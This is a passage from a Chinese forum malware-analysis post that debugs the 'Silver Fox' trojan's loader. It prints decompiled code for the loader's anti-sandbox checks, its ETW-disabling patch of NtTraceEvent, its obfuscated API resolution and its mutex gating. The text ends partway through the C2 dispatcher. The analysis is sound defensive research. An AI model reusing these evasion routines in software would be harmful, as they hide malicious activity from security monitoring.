首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
逆向工程
发新帖
0
8
[原创]银狐木马深度剖析（二）：动调追踪 C2 通信链，拆解杀软对抗的“四种命”
发表于: 3天前
508
[原创]银狐木马深度剖析（二）：动调追踪 C2 通信链，拆解杀软对抗的“四种命”
viper333
3天前
508
## 动调  重新加载了一下这个程序，x64dbg的基址变了（不影响），所以我们在继续往下执行，F8进入jmp  这个时候需要对照着payload_C2_v2.bin这个文件看汇编，用ida打开 函数`D47D`是UAC提权的弹窗（因为我这里尝试过很多此调试，都没法绕过UAC弹窗），所以我打算直接把他nop掉，但是这样的操作可能会导致某些管理员操作（写 HKLM、写 C:\Windows\Temp）会失败，但是不影响我们解密出payload并且后续拿到c2通信的地址。 F8,继续走到`test eax eax`, `2F8C015 | call 2F8CC9D`这个函数执行完发现`eax = 0`,不需要修改寄存器的值，那我们继续往下走，走到`00000000028BC057 | jae 28BC0D8`双击进去发现是 ``` 00000000028BC0D8 | C68424 98000000 34 | mov byte ptr ss:[rsp+98],34 | 34:'4' 00000000028BC0E0 | C68424 99000000 40 | mov byte ptr ss:[rsp+99],40 | 40:'@' 00000000028BC0E8 | C68424 9A000000 65 | mov byte ptr ss:[rsp+9A],65 | 65:'e' 00000000028BC0F0 | C68424 9B000000 21 | mov byte ptr ss:[rsp+9B],21 | 21:'!' 00000000028BC0F8 | C68424 9C000000 63 | mov byte ptr ss:[rsp+9C],63 | 63:'c' 00000000028BC100 | C68424 9D000000 21 | mov byte ptr ss:[rsp+9D],21 | 21:'!' 00000000028BC108 | C68424 9E000000 62 | mov byte ptr ss:[rsp+9E],62 | 62:'b' 00000000028BC110 | C68424 9F000000 53 | mov byte ptr ss:[rsp+9F],53 | 53:'S' 00000000028BC118 | C68424 A0000000 4C | mov byte ptr ss:[rsp+A0],4C | 4C:'L' 00000000028BC120 | C68424 A1000000 32 | mov byte ptr ss:[rsp+A1],32 | 32:'2' 00000000028BC128 | C68424 A2000000 41 | mov byte ptr ss:[rsp+A2],41 | 41:'A' 00000000028BC130 | C68424 A3000000 65 | mov byte ptr ss:[rsp+A3],65 | 65:'e' 00000000028BC138 | C68424 A4000000 69 | mov byte ptr ss:[rsp+A4],69 | 69:'i' 00000000028BC140 | C68424 A5000000 6D | mov byte ptr ss:[rsp+A5],6D | 6D:'m' 00000000028BC148 | C68424 A6000000 6E | mov byte ptr ss:[rsp+A6],6E | 6E:'n' 00000000028BC150 | C68424 A7000000 77 | mov byte ptr ss:[rsp+A7],77 | 77:'w' 00000000028BC158 | C68424 A8000000 79 | mov byte ptr ss:[rsp+A8],79 | 79:'y' 00000000028BC160 | C68424 A9000000 44 | mov byte ptr ss:[rsp+A9],44 | 44:'D' 00000000028BC168 | C68424 AA000000 34 | mov byte ptr ss:[rsp+AA],34 | 34:'4' 00000000028BC170 | C68424 AB000000 78 | mov byte ptr ss:[rsp+AB],78 | 78:'x' 00000000028BC178 | C68424 AC000000 00 | mov byte ptr ss:[rsp+AC],0 | 00000000028BC180 | 48:C78424 B8000000 05BE0 | mov qword ptr ss:[rsp+B8],BE05 | 00000000028BC18C | 48:8B8C24 B8000000 | mov rcx,qword ptr ss:[rsp+B8] | 00000000028BC194 | E8 74170000 | call 28BD90D | 00000000028BC199 | E8 2F060000 | call 28BC7CD | 00000000028BC19E | E8 AA1A0000 | call 28BDC4D | 00000000028BC1A3 | 85C0 | test eax,eax | 00000000028BC1A5 | 0F84 AF000000 | je 28BC25A | 00000000028BC1AB | C78424 B4000000 00000000 | mov dword ptr ss:[rsp+B4],0 | 00000000028BC1B6 | C78424 B0000000 00000000 | mov dword ptr ss:[rsp+B0],0 | 00000000028BC1C1 | EB 10 | jmp 28BC1D3 | 00000000028BC1C3 | 8B8424 B0000000 | mov eax,dword ptr ss:[rsp+B0] | 00000000028BC1CA | FFC0 | inc eax | 00000000028BC1CC | 898424 B0000000 | mov dword ptr ss:[rsp+B0],eax | 00000000028BC1D3 | 81BC24 B0000000 E8030000 | cmp dword ptr ss:[rsp+B0],3E8 | 00000000028BC1DE | 7D 1D | jge 28BC1FD | ``` 这个就是我们在静态分析出来的密钥，在栈上拼接，我们直接看ida里的key是在哪里进行解密的  发现在函数`D83D`是对key进行解密的，那我直接在x64dbg里面在这个函数打断点 按F9运行到断点处  然后F8,步过函数，我们在内存中看一下`0x029A17D0`这个堆上的空间是什么 这个时候已经解密完成了，所以我们成功的dump出来payload。 # payload解析 以下的实现都是基于解密第三步动调开始[[#动调]] ida中会给解密完的payload申请一个可读可写可执行的堆空间  汇编是 所以他的偏移是`C4A9`,我们直接在x64dbg里直接打断点，按F9执行  然后再F7进入堆  此时该分析最后dump出来的payload了，`payload_real_static.bin/payload_real_dyn.bin`这两个文件都可以，我们用ida打开，同时x64dbg双击进`29A1CF5`，说明就是从ida的525函数开始执行的 ## payload的校验检查部分 首先我们研究一下`sub_525`函数 ``` __int64 __fastcall sub_525(int a1, int a2, __int64 a3, __int64 a4, int a5, int a6) { __int64 v6; // rdx __int64 v7; // rdi __int64 v8; // rsi __int64 v9; // rdx __int64 v10; // rdi __int64 v11; // rsi int v12; // r8d int v13; // r9d __int64 v14; // rdx __int64 v15; // rdi __int64 v16; // rsi int v18; // r8d int v19; // r9d int v20; // r8d int v21; // r9d int v22; // edx int v23; // edi int v24; // esi int v25; // r8d int v26; // r9d __int64 v27; // rdi __int64 v28; // rsi __int64 v29; // rdx __int64 v30; // rdi __int64 v31; // rsi __int64 v32; // rdx __int64 v33; // rdi __int64 v34; // rsi __int64 v35; // rdx __int64 v36; // rdx __int64 v37; // rdi __int64 v38; // rsi int v39; // edx int v40; // edi int v41; // esi int v42; // r8d int v43; // r9d __int64 v44; // rdx __int64 v45; // rdi __int64 v46; // rsi int v47; // edi int v48; // esi int v49; // r8d int v50; // r9d __int64 v51; // rdx __int64 v52; // rdi __int64 v53; // rsi int v54; // [rsp+0h] [rbp-158h] int j; // [rsp+30h] [rbp-128h] char v56[16]; // [rsp+38h] [rbp-120h] BYREF char v57[8]; // [rsp+48h] [rbp-110h] BYREF char v58[16]; // [rsp+50h] [rbp-108h] BYREF char v59[16]; // [rsp+60h] [rbp-F8h] BYREF char v60[16]; // [rsp+70h] [rbp-E8h] BYREF int v61; // [rsp+80h] [rbp-D8h] int i; // [rsp+84h] [rbp-D4h] int v63; // [rsp+88h] [rbp-D0h] void (__fastcall *v64)(__int64, __int64, __int64, __int64); // [rsp+90h] [rbp-C8h] char v65[16]; // [rsp+98h] [rbp-C0h] BYREF void (__fastcall *v66)(__int64, __int64, _QWORD, _QWORD, __int64 (__fastcall *)(), _QWORD); // [rsp+A8h] [rbp-B0h] void (__fastcall *v67)(__int64, __int64, __int64, _QWORD); // [rsp+B0h] [rbp-A8h] void (__fastcall *v68)(__int64, __int64, __int64, _QWORD); // [rsp+B8h] [rbp-A0h] _QWORD v69[13]; // [rsp+F0h] [rbp-68h] strcpy(v56, "kernel32.dll"); strcpy(v65, "user32.dll"); strcpy(v57, "Sleep"); v64 = (void (__fastcall *)(__int64, __int64, __int64, __int64))sub_C75( a1, a2, a3: (unsigned int)v57, a4: (unsigned int)v56, a5, a6); sub_B915(); v64(a1: v7, a2: v8, a3: v6, a4: 500); if ( (unsigned int)sub_24B5() != 0 ) { v61 = 0; while ( v61 < 1000 ) { v64(a1: v10, a2: v11, a3: v9, a4: 500); ++v61; if ( (unsigned int)sub_2C55() == 0 && (unsigned int)sub_2805() != 0 && (unsigned int)sub_29D5() != 0 && (unsigned int)sub_2735(a1: v10, a2: v11, a3: v9, a4: 2, a5: v18, a6: v19, a7: v54) != 0 && (unsigned int)sub_23C5() == 0 && (unsigned int)sub_2D65(a1: v10, a2: v11, a3: v9, a4: 10000, a5: v20, a6: v21, a7: v54) == 0 ) { break; } } sub_1BF5(); if ( (unsigned int)sub_17A5() != 0 ) sub_525(); v63 = 0; if ( (unsigned int)sub_1125() != 0 ) { strcpy(v60, "CreateThread"); v66 = (void (__fastcall *)(__int64, __int64, _QWORD, _QWORD, __int64 (__fastcall *)(), _QWORD))sub_C75(a1: v23, a2: v24, a3: (unsigned int)v60, a4: (unsigned int)v56, a5: v25, a6: v26); v66(a1: v27, a2: v28, a3: 0, a4: 0, a5: sub_3545, a6: 0); v64(a1: v30, a2: v31, a3: v29, a4: 30000); for ( i = 0; (unsigned int)sub_1125() != 0 && i < 1; ++i ) { for ( j = 0; j < 3; ++j ) { v69[j] = ((__int64 (__fastcall *)(__int64, __int64, _QWORD, _QWORD, __int64 (__fastcall *)(), _QWORD))v66)( a1: v33, a2: v34, a3: 0, a4: 0, a5: sub_39F5, a6: 0); if ( v69[j] != 0 ) { v64(a1: v33, a2: v34, a3: v35, a4: 5000); if ( (unsigned int)sub_1125() != 1 ) break; } } } v64(a1: v33, a2: v34, a3: v32, a4: 10000); if ( (unsigned int)sub_1125() != 0 ) v63 = 1; v64(a1: v37, a2: v38, a3: v36, a4: 10000); sub_9405(a1: v40, a2: v41, a3: v39, a4: v63, a5: v42, a6: v43, a7: v54); sub_2295(); v64(a1: v45, a2: v46, a3: v44, a4: 5000); } else { sub_9405(a1: v23, a2: v24, a3: v22, a4: v63, a5: v25, a6: v26, a7: v54); } strcpy(v59, "ExitProcess"); v68 = (void (__fastcall *)(__int64, __int64, __int64, _QWORD))sub_C75( a1: v47, a2: v48, a3: (unsigned int)v59, a4: (unsigned int)v56, a5: v49, a6: v50); v68(a1: v52, a2: v53, a3: v51, a4: 0); return 0; } else { strcpy(v58, "ExitProcess"); v67 = (void (__fastcall *)(__int64, __int64, __int64, _QWORD))sub_C75( a1: v10, a2: v11, a3: (unsigned int)v58, a4: (unsigned int)v56, a5: v12, a6: v13); v67(a1: v15, a2: v16, a3: v14, a4: 0); return 0; } } ``` `sub_525`是这层 shellcode 的总调度,他要先检测环境然后才会执行后续的功能，如果前面几部验证都没通过那么他会直接退出 ``` strcpy(v83, "kernel32.dll"); strcpy(v92, "user32.dll"); strcpy(v84, "Sleep"); v91 = (void (__fastcall *)(__int64, __int64, __int64, __int64))sub_C75( a1, a2, a3: (__int64)v84, a4: (__int64)v83, a5, a6); ``` 这个部分是在不走导入表的情况下，拿到 kernel32!Sleep 的地址。正常程序加载时，Windows 看导入表，把 exe 里那条调用改成 kernel32!Sleep 的地址。之后 exe 一执行到那里，就跳进 kernel32。kernel32!Sleep 再进 ntdll，最后才发系统调用进内核，把这条线程挂起。exe 自己没有睡眠的实现。而这个木马不写导入表，所以加载时没人替它填。它自己用 LoadLibrary + GetProcAddress 问到 Sleep 的地址，再 call 那个地址。结果一样，只是地址是它运行后自己查的。 LoadLibrary 和 GetProcAddress 也是 Windows 的 API，本来就给程序在运行时加载 DLL、按名字查函数用。`LoadLibrary("kernel32.dll")`返回模块句柄。模块句柄就是这个 DLL 在当前进程里的基址，一个指针。h = LoadLibrary("kernel32.dll") 返回的不是 Sleep，而是 kernel32.dll 被映射到的起始地址，比如 0x7FFE12340000。GetProcAddress 拿着这个基址去翻该 DLL 的导出表，才得到 Sleep 的地址。`p = GetProcAddress(h, "Sleep")`系统打开这个 DLL 的导出表，找到名字 Sleep，把对应函数地址返回。增加静态分析成本。 ``` __int64 sub_B915() { int v0; // edi int v1; // esi int v2; // r8d int v3; // r9d __int64 result; // rax __int64 v5; // rdx __int64 v6; // rdi __int64 v7; // rsi __int64 (__fastcall *v8)(__int64, __int64, __int64, _QWORD); // [rsp+20h] [rbp-38h] char v9[16]; // [rsp+28h] [rbp-30h] BYREF char v10[32]; // [rsp+38h] [rbp-20h] BYREF sub_B125(); strcpy(v9, "ntdll.dll"); strcpy(v10, "RtlExitUserProcess"); sub_B775(); v8 = (__int64 (__fastcall *)(__int64, __int64, __int64, _QWORD))sub_C75( a1: v0, a2: v1, a3: (unsigned int)v10, a4: (unsigned int)v9, a5: v2, a6: v3); result = sub_B365(); if ( (_DWORD)result == -1073740702 ) return v8(a1: v6, a2: v7, a3: v5, a4: 0); return result; } unsigned __int16 *__fastcall sub_B125(int a1, int a2, __int64 a3, __int64 a4, int a5, int a6) { int v6; // edi int v7; // esi int v8; // r8d int v9; // r9d int v10; // edi int v11; // esi __int64 v12; // rdi __int64 v13; // rsi int v14; // edi int v15; // esi int v16; // r8d int v17; // r9d unsigned __int16 *result; // rax __int64 v19; // rdx __int64 v20; // rdi __int64 v21; // rsi char v22[16]; // [rsp+20h] [rbp-298h] BYREF char v23[16]; // [rsp+30h] [rbp-288h] BYREF char v24[24]; // [rsp+40h] [rbp-278h] BYREF char v25[24]; // [rsp+58h] [rbp-260h] BYREF unsigned __int16 v26[12]; // [rsp+70h] [rbp-248h] BYREF void (__fastcall *v27)(__int64, __int64, unsigned __int16 *, _QWORD, __int64); // [rsp+88h] [rbp-230h] unsigned __int16 *(__fastcall *v28)(__int64, __int64, __int64, _QWORD); // [rsp+90h] [rbp-228h] unsigned __int16 v29[268]; // [rsp+A0h] [rbp-218h] BYREF strcpy(v23, "kernel32.dll"); strcpy(v22, "ntdll.dll"); strcpy(v24, "GetModuleFileNameW"); v27 = (void (__fastcall *)(__int64, __int64, unsigned __int16 *, _QWORD, __int64))sub_C75( a1, a2, a3: (__int64)v24, a4: (__int64)v23, a5, a6); strcpy(v25, "RtlExitUserProcess"); v28 = (unsigned __int16 *(__fastcall *)(__int64, __int64, __int64, _QWORD))sub_C75( a1: v6, a2: v7, a3: (__int64)v25, a4: (__int64)v22, a5: v8, a6: v9); v26[0] = 58; v26[1] = 92; v26[2] = 109; v26[3] = 121; v26[4] = 97; v26[5] = 112; v26[6] = 112; v26[7] = 46; v26[8] = 101; v26[9] = 120; v26[10] = 101; v26[11] = 0; sub_AF25(a1: v10, a2: v11, a3: 0x208u, a4: v29); v27(a1: v12, a2: v13, a3: v29, a4: 0, a5: 260); result = sub_AF85(a1: v14, a2: v15, a3: v26, a4: v29, a5: v16, a6: v17); if ( result != nullptr ) return v28(a1: v20, a2: v21, a3: v19, a4: 0); return result; } __int64 __fastcall sub_B775(int a1, int a2, __int64 a3, __int64 a4, int a5, int a6) { int v6; // edi int v7; // esi int v8; // r8d int v9; // r9d __int64 v11; // rdi __int64 v12; // rsi int v13; // edi int v14; // esi int v15; // r9d __int64 v16; // rdi __int64 v17; // rsi __int64 v18; // [rsp+0h] [rbp-88h] __int64 v19; // [rsp+8h] [rbp-80h] unsigned int v20; // [rsp+20h] [rbp-68h] BYREF __int64 v21; // [rsp+28h] [rbp-60h] void (__fastcall *v22)(__int64, __int64, __int64, __int64, __int64, unsigned int *); // [rsp+30h] [rbp-58h] char v23[16]; // [rsp+38h] [rbp-50h] BYREF char v24[16]; // [rsp+48h] [rbp-40h] BYREF char v25[16]; // [rsp+58h] [rbp-30h] BYREF char v26[32]; // [rsp+68h] [rbp-20h] BYREF strcpy(v23, "ntdll.dll"); strcpy(v25, "kernel32.dll"); strcpy(v26, "VirtualProtect"); strcpy(v24, "NtTraceEvent"); v21 = sub_C75(a1, a2, a3: (__int64)v24, a4: (__int64)v23, a5, a6); if ( v21 != 0 ) { v20 = 0; v22 = (void (__fastcall *)(__int64, __int64, __int64, __int64, __int64, unsigned int *))sub_C75( a1: v6, a2: v7, a3: (__int64)v26, a4: (__int64)v25, a5: v8, a6: v9); v22(a1: v11, a2: v12, a3: 1, a4: v21, a5: 64, a6: &v20); sub_4945(a1: v13, a2: v14, a3: (unsigned int)nullsub_1, a4: v21, a5: 1, a6: v15, a7: v18, a8: v19); v22(a1: v16, a2: v17, a3: 1, a4: v21, a5: v20, a6: &v20); sub_B645(); } return 0; } __int64 __fastcall sub_B365(int a1, int a2, __int64 a3, __int64 a4, int a5, int a6) { __int64 v6; // rdi __int64 v7; // rsi int v8; // edi int v9; // esi int v10; // r8d int v11; // r9d __int64 v13; // rdx __int64 v14; // rdi __int64 v15; // rsi int v16; // edx int v17; // edi int v18; // esi int v19; // r8d int v20; // r9d __int64 v21; // [rsp+0h] [rbp-D8h] unsigned int i; // [rsp+30h] [rbp-A8h] unsigned int j; // [rsp+34h] [rbp-A4h] char v24[16]; // [rsp+38h] [rbp-A0h] BYREF char v25[24]; // [rsp+48h] [rbp-90h] BYREF char v26[32]; // [rsp+60h] [rbp-78h] BYREF int v27; // [rsp+80h] [rbp-58h] BYREF int v28; // [rsp+84h] [rbp-54h] __int64 v29; // [rsp+88h] [rbp-50h] __int64 v30; // [rsp+90h] [rbp-48h] __int64 v31; // [rsp+98h] [rbp-40h] int (__fastcall *v32)(__int64, __int64, _QWORD, __int64, _QWORD, _WORD *); // [rsp+A0h] [rbp-38h] __int64 (__fastcall *v33)(__int64, __int64, __int64, __int64, _QWORD, int *); // [rsp+A8h] [rbp-30h] __int64 v34; // [rsp+B0h] [rbp-28h] _WORD v35[4]; // [rsp+B8h] [rbp-20h] BYREF void *v36; // [rsp+C0h] [rbp-18h] v29 = 0; v27 = 0; v35[0] = 18; v35[1] = 20; v36 = &unk_3DD; strcpy(v24, "ntdll.dll"); strcpy(v25, "LdrGetDllHandleEx"); v32 = (int (__fastcall *)(__int64, __int64, _QWORD, __int64, _QWORD, _WORD *))sub_C75( a1, a2, a3: (__int64)v25, a4: (__int64)v24, a5, a6); if ( v32(a1: v6, a2: v7, a3: 0, a4: 1, a5: 0, a6: v35) < 0 ) return 3221225781LL; strcpy(v26, "RtlImageDirectoryEntryToData"); v33 = (__int64 (__fastcall *)(__int64, __int64, __int64, __int64, _QWORD, int *))sub_C75( a1: v8, a2: v9, a3: (__int64)v26, a4: (__int64)v24, a5: v10, a6: v11); LOBYTE(v13) = 1; v30 = v33(a1: v14, a2: v15, a3: v13, a4: v29, a5: 0, a6: &v27); if ( v30 == 0 ) return 3221225595LL; v31 = v29; v34 = *(unsigned int *)(v30 + 32) + v29; for ( i = 0; i < *(_DWORD *)(v30 + 24); ++i ) { v28 = sub_B0D5(a1: v17, a2: v18, a3: v16, a4: *(_DWORD *)(v34 + 4LL * i) + (int)v31, a5: v19, a6: v20, a7: v21); for ( j = 0; j < 3uLL; ++j ) { if ( v28 == *((_DWORD *)&unk_15 + j) ) return 3221226594LL; } } return 3221225659LL; } ``` `sub_B125`函数首先先找`kernel32!GetModuleFileNameW`的地址和`ntdll!RtlExitUserProcess`的地址，然后再比较当前正在跑的这个 exe 在磁盘上的完整文件名，是不是像`C:\myapp.exe`和`D:\myapp.exe`这种就退出。至于为什么是myapp.exe可能就是对抗沙箱。 函数`sub_B775`把`ntdll!NtTraceEvent` 的第一个字节改掉，让本进程的 `ETW` 上报直接返回。`NtTraceEvent` 平时只读可执行，不能直接改，所以先 `VirtualProtect`, `nullsub_1` 一般就是一条 `ret`（字节`C3`）。盖上之后，谁再调用 `NtTraceEvent`，一进来就返回，事件写不出去。`NtTraceEvent` 是 `ntdll.dll` 里的一个导出函数，用户态程序通过它把一条日志交给 `Windows` 的 `ETW`。程序要记「发生了某件事」时，不自己写文件，而是调用 `NtTraceEvent`。它再进内核，内核把这条记录放进 `ETW` 会话。杀软、系统监控可以订这些会话，从而看到进程里的行为。样本改的是自己进程里这个函数的第一个字节：调用还是会进 NtTraceEvent，但一进来就 ret，这条日志发不出去。 函数`sub_B365`遍历 `ntdll.dll` 的导出函数名，每个名字用 `sub_B0D5` 做哈希，和 `unk_15` 里三个值比。对上才返回那个会让 `sub_B915` 退出的错误码。 ``` seg000:00000000000003DD unk_3DD db 6Eh ; n ; DATA XREF: sub_B365+38↓o seg000:00000000000003DE dw 7400h seg000:00000000000003E0 dq 2E006C006C006400h, 6C006C006400h, 98750000000000h seg000:00000000000003F8 db 5 dup(0) ``` `unk_3DD` 还是 `UTF-16` 的 `ntdll.dll`。`v36` 指向它，`v35` 的 `Length = 18` 表示用前 18 个字节，正好 9 个宽字符：`n t d l l . d l l`。 - `LdrGetDllHandleEx` 是 `ntdll` 的 `API`，按名字要一个已经加载的`DLL` 的基址，不负责从磁盘新加载。这里拿 L"ntdll.dll" 去问，失败就返回 `3221225781（0xC0000135，STATUS_DLL_NOT_FOUND）`。 - `RtlImageDirectoryEntryToData `也是 `ntdll` 的 `API`，从模块里取某个数据目录。第四个参数 0 表示导出表。返回值是导出目录的地址；为空就返回 `3221225595`。 - `3221225595` 是 `0xC000007B`，`STATUS_INVALID_IMAGE_FORMAT`。这里只表示「没拿到导出表」，上层不把它当成命中，不会因此退出。 ``` seg000:0000000000000015 unk_15 db 92h ; DATA XREF: sub_B365+2A3↓o seg000:0000000000000016 dw 0CE76h seg000:0000000000000018 dq 99CFAED4CE455470h seg000:0000000000000020 aZopen db 'zopen',0 ; DATA XREF: sub_2295+106↓o ``` `unk_15`是 `sub_B365` 用来对比的三个哈希，不是字符串。`sub_B0D5` 算出的值只要等于其中任何一个，就返回 `0xC0000462`，上层退出。如果我们想看是哪三个导入表的话，断在` sub_B365` 里调用 `sub_B0D5` 的那一行，`sub_B0D5` 的第四个参数 `a4` 就是当前这个导出名的指针。`x64` 调用约定里它在 `r9`。对应的汇编就是`seg000:000000000000B5DA call sub_B0D5`, 由于我们刚进入堆之前的时候地址是`00000000029A17D0 | E9 20050000 | jmp 29A1CF5 |`所以基地址是`0x29A1CF5`,sub_525函数在ida中显示的是0x525，所以`seg000:000000000000B9C8 call sub_B365`偏移应该是`29A1cf5 + B9C8 - 525 = 29AD198`。我们在x64dbg跳转过去看一眼就知道了。 我们在x64dbg里对着这条汇编按ctrl + r就知道谁引用了这条汇编也就是call 这个函数  我们直接在这里打断点，按F9运行过来然后检查寄存器的值 应该是我们系统中没有它黑名单的三个哈希值`0x70CE7692 / 0xD4CE4554 / 0x7A99CFAE`，所以我们顺利的通过了 ``` __int64 __fastcall sub_24B5(int a1, int a2, __int64 a3, __int64 a4, int a5, int a6) { int v6; // edi int v7; // esi int v8; // r8d int v9; // r9d int v10; // edi int v11; // esi int v12; // r8d int v13; // r9d int v14; // edi int v15; // esi int v16; // r8d int v17; // r9d int v18; // edi int v19; // esi int v20; // r8d int v21; // r9d __int64 v22; // rdi __int64 v23; // rsi int v24; // edi int v25; // esi int v26; // r8d int v27; // r9d __int64 v28; // rdi __int64 v29; // rsi char v31[16]; // [rsp+20h] [rbp-98h] BYREF char v32[16]; // [rsp+30h] [rbp-88h] BYREF char v33[16]; // [rsp+40h] [rbp-78h] BYREF char v34[16]; // [rsp+50h] [rbp-68h] BYREF char v35[16]; // [rsp+60h] [rbp-58h] BYREF char v36[16]; // [rsp+70h] [rbp-48h] BYREF unsigned int v37; // [rsp+80h] [rbp-38h] int v38; // [rsp+84h] [rbp-34h] __int64 (__fastcall *v39)(__int64, __int64, _QWORD, _QWORD, char *); // [rsp+88h] [rbp-30h] unsigned int (*v40)(void); // [rsp+90h] [rbp-28h] __int64 (__fastcall *v41)(__int64, __int64, _QWORD, __int64, char *); // [rsp+98h] [rbp-20h] __int64 v42; // [rsp+A0h] [rbp-18h] __int64 v43; // [rsp+A8h] [rbp-10h] v38 = 260; v37 = 1; strcpy(v31, "ztgcta32.saa"); sub_4575(a1, a2, a3: 15, a4: (unsigned int)v31, a5, a6); strcpy(v35, "26f3475fc22"); v35[12] = 0; strcpy(v36, "48c47662941"); v36[12] = 0; strcpy(v33, "RgtpitBjitmP"); sub_4575(a1: v6, a2: v7, a3: 15, a4: (unsigned int)v33, a5: v8, a6: v9); strcpy(v32, "VtiAphiTggdg"); sub_4575(a1: v10, a2: v11, a3: 15, a4: (unsigned int)v32, a5: v12, a6: v13); v40 = (unsigned int (*)(void))sub_C75(a1: v14, a2: v15, a3: (__int64)v32, a4: (__int64)v31, a5: v16, a6: v17); v39 = (__int64 (__fastcall *)(__int64, __int64, _QWORD, _QWORD, char *))sub_C75( a1: v18, a2: v19, a3: (__int64)v33, a4: (__int64)v31, a5: v20, a6: v21); v43 = v39(a1: v22, a2: v23, a3: 0, a4: 0, a5: v35); if ( v40() == 183 ) v37 = 0; strcpy(v34, "OpenMutexA"); v41 = (__int64 (__fastcall *)(__int64, __int64, _QWORD, __int64, char *))sub_C75( a1: v24, a2: v25, a3: (__int64)v34, a4: (__int64)v31, a5: v26, a6: v27); v42 = v41(a1: v28, a2: v29, a3: 0, a4: 2031617, a5: v36); if ( v42 != 0 ) return 0; return v37; } ``` sub_24B5 是加载器的单实例与退出开关。API 名用凯撒（移位 15）还原：ztgcta32.saa → kernel32.dll，RgtpitBjitmP → CreateMutexA，VtiAphiTggdg → GetLastError；OpenMutexA 为明文。 函数先 CreateMutexA(NULL, FALSE, "26f3475fc22")。若 GetLastError() 为 183（ERROR_ALREADY_EXISTS），说明已有实例，内部标志置 0。再 OpenMutexA(MUTEX_ALL_ACCESS, FALSE, "48c47662941")，打开成功则直接返回 0。否则返回该标志。 x64dbg  **RAX = 1**,说明我通过了`sub_24B5`这个函数 把弹UAC的函数nop掉  只要把这个函数nop掉，就能动调 ## 如何拿到c2的通信地址 我们用ida打开`payload_real_static.bin`,找到`sub_9405`这个函数，这个函数就是整只木马的**任务调度中心** ``` // write access to const memory has been detected, the output may be wrong! __int64 __fastcall sub_9405(__int64 a1, __int64 a2, __int64 a3, int a4, int a5, int a6) { signed __int64 size; // rax void *v7; // rsp int v8; // r8d int v9; // r9d int v10; // r9d int v11; // eax int v12; // r8d int v13; // r9d int v14; // r8d int v15; // r9d int v16; // r9d int v17; // r8d int v18; // r9d int v19; // r8d int v20; // r9d int v21; // r9d int v22; // r8d int v23; // r9d int v24; // r8d int v25; // r9d int v26; // r8d int v27; // r9d int v28; // r8d int v29; // r9d int v30; // r9d int v31; // r8d int v32; // r9d int v33; // r8d int v34; // r9d int v35; // edx int v36; // r8d int v37; // r9d int v38; // r8d int v39; // r9d int v40; // r9d int v41; // r9d int v42; // r9d int v43; // r9d int v44; // r9d int v45; // r9d int v46; // r8d int v47; // r9d __int64 v48; // rdx int v49; // r8d int v50; // r9d int v51; // r8d int v52; // r9d int v53; // r8d int v54; // r9d int v55; // r8d int v56; // r9d int v57; // r8d int v58; // r9d int v59; // r8d int v60; // r9d int v61; // edx __int64 v62; // rcx int v63; // r8d int v64; // r9d int v65; // r9d int v66; // r9d const void *src; // rax __int64 v68; // rsi int v69; // r9d int v70; // r9d int v71; // r9d int v72; // r9d const void *src_1; // rax __int64 v74; // rsi int v75; // r9d int v76; // r9d int v77; // r9d int v78; // r9d int v79; // r9d const void *src_2; // rax __int64 v81; // rsi int v82; // r9d int v83; // r8d int v84; // r9d int v85; // r9d int v86; // r9d int v87; // r9d const void *src_3; // rax __int64 v89; // rsi int v90; // r9d int v91; // r8d int v92; // r9d int v93; // r9d int v94; // edx int v95; // r8d int v96; // r9d int v97; // edx int v98; // r8d int v99; // r9d int v100; // edx int v101; // r8d int v102; // r9d int v103; // edx int v104; // r8d int v105; // r9d int v106; // r8d int v107; // r9d int v108; // r8d int v109; // r9d int v110; // r8d int v111; // r9d int v112; // r8d int v113; // r9d __int64 v114; // rdx int v115; // r9d int v116; // r8d int v117; // r9d __int64 *j.agx_1; // rdi int v119; // r9d int v120; // r8d int v121; // r9d int v122; // r8d int v123; // r9d int v124; // r9d int v125; // r8d int v126; // r9d int v127; // r9d int v128; // edx int v129; // r8d int v130; // r9d int v131; // edx int v132; // r8d int v133; // r9d __int64 v134; // rdx int v135; // r8d int v136; // r9d int v137; // edx int v138; // r8d int v139; // r9d __int64 v140; // rdx int v141; // r8d int v142; // r9d __int64 v143; // rax __int64 v144; // rax __int64 v145; // rax __int64 v146; // rax __int64 v147; // rax __int64 v148; // rax __int64 v149; // rax __int64 v150; // rax __int64 v152; // rdx __int64 v153; // rcx int v154; // r8d int v155; // r9d int v156; // r8d int v157; // r9d int v158; // r8d int v159; // r9d int v160; // r9d int v161; // r9d const void *src_4; // rax int v163; // r9d int v164; // r8d int v165; // r9d __int64 v166; // rax __int64 v167; // rax int v168; // r8d int v169; // r9d int v170; // edx int v171; // r8d int v172; // r9d int v173; // edx int v174; // r8d int v175; // r9d int v176; // edx int v177; // r8d int v178; // r9d int v179; // edx int v180; // r8d int v181; // r9d int v182; // edx int v183; // r8d int v184; // r9d __int64 v185; // rax int v186; // edx int v187; // r8d int v188; // r9d int v189; // edx int v190; // r8d int v191; // r9d int v192; // edx int v193; // r8d int v194; // r9d int v195; // edx int v196; // r8d int v197; // r9d __int64 v198; // rax int v199; // edx int v200; // r8d int v201; // r9d int v202; // edx int v203; // r8d int v204; // r9d int v205; // edx int v206; // r8d int v207; // r9d int v208; // edx int v209; // r8d int v210; // r9d __int64 v211; // rax int v212; // edx int v213; // r8d int v214; // r9d int v215; // edx int v216; // r8d int v217; // r9d int v218; // edx int v219; // r8d int v220; // r9d __int64 v221; // rax int v222; // edx int v223; // r8d int v224; // r9d int v225; // edx int v226; // r8d int v227; // r9d int v228; // edx int v229; // r8d int v230; // r9d int v231; // edx int v232; // r8d int v233; // r9d __int64 v234; // rax __int64 v235; // rax __int64 v236; // rax __int64 v237; // rax __int64 v238; // rax __int64 v239; // rax __int64 v240; // rax __int64 v241; // rax __int64 v242; // rax __int64 v243; // [rsp+0h] [rbp-7808h] __int64 v244; // [rsp+0h] [rbp-7808h] __int64 v245; // [rsp+0h] [rbp-7808h] __int64 v246; // [rsp+0h] [rbp-7808h] __int64 v247; // [rsp+0h] [rbp-7808h] __int64 v248; // [rsp+0h] [rbp-7808h] __int64 v249; // [rsp+0h] [rbp-7808h] __int64 v250; // [rsp+0h] [rbp-7808h] __int64 v251; // [rsp+0h] [rbp-7808h] __int64 v252; // [rsp+0h] [rbp-7808h] __int64 v253; // [rsp+0h] [rbp-7808h] __int64 v254; // [rsp+0h] [rbp-7808h] __int64 v255; // [rsp+0h] [rbp-7808h] 